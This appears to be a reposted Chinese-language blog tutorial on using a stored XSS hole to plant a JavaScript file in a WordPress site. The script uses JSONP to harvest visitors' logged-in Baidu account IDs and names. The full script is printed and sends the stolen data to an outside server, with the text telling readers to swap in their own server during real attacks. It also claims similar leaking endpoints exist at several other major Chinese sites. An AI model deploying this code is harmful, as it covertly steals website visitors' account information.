我在本地环境搭建了一个WordPress网站,并在该网站中植入JavaScript文件。如果访客在浏览网站时登录了百度账号,该js文件能够利用JSONP获取网站访客的百度账号信息。
具体情况如下:
1、首先修改WordPress的footer.php文件,引入2个外部JavaScript文件。第一个是jQuery库,第二个是jsonp代码。在实际渗透中,如果该网站存在存储型XSS漏洞,我们就可以将xss_jsonp.js文件植入进去。
2、xss_jsonp.js文件内容如下,具体功能是通过JSONP获取百度账号信息,并上传到服务器上。为了做演示,这里我把获取到的信息上传到www.sogou.com,在实际渗透中,你可以把信息上传到自己的服务器上。
1 function jsonp_baidu() { 2 ????window._baidu_1 = function(object) { 3 ????if(!object.id) { 4 ????????return; 5 ????} 6 ????var data = {}; 7 ????data.id = object.id; 8 ????data.name = object.name; 9 ????$.post(saveUrl + ‘?act=baidu‘, data);10 ????};11 ????$.ajax({12 ????????url: "https://baike.baidu.com/api/login/",13 ????????type: "GET",14 ????????dataType: "jsonp",15 ????????jsonp: ‘callback‘,16 ????????jsonpCallback: "_baidu_1",17 ????});18 } ?19 var saveUrl = ‘https://www.sogou.com/xss_jsonp.php‘;20 jsonp_baidu();
3、访问网站并观察刚才植入的js代码是否执行。
访问百度的JSONP接口,服务器返回登录账号的相关信息。
获取到百度账号信息后,上传到www.sogou.com服务器。
目前,我已经找到了百度、淘宝、京东、腾讯、新浪、爱奇艺等多个国内流行网站的JSONP接口,从这些接口可以获取用户账号信息。
XSS结合JSONP获取网站访客社交账号信息
原文地址:https://www.cnblogs.com/dgjnszf/p/10793535.html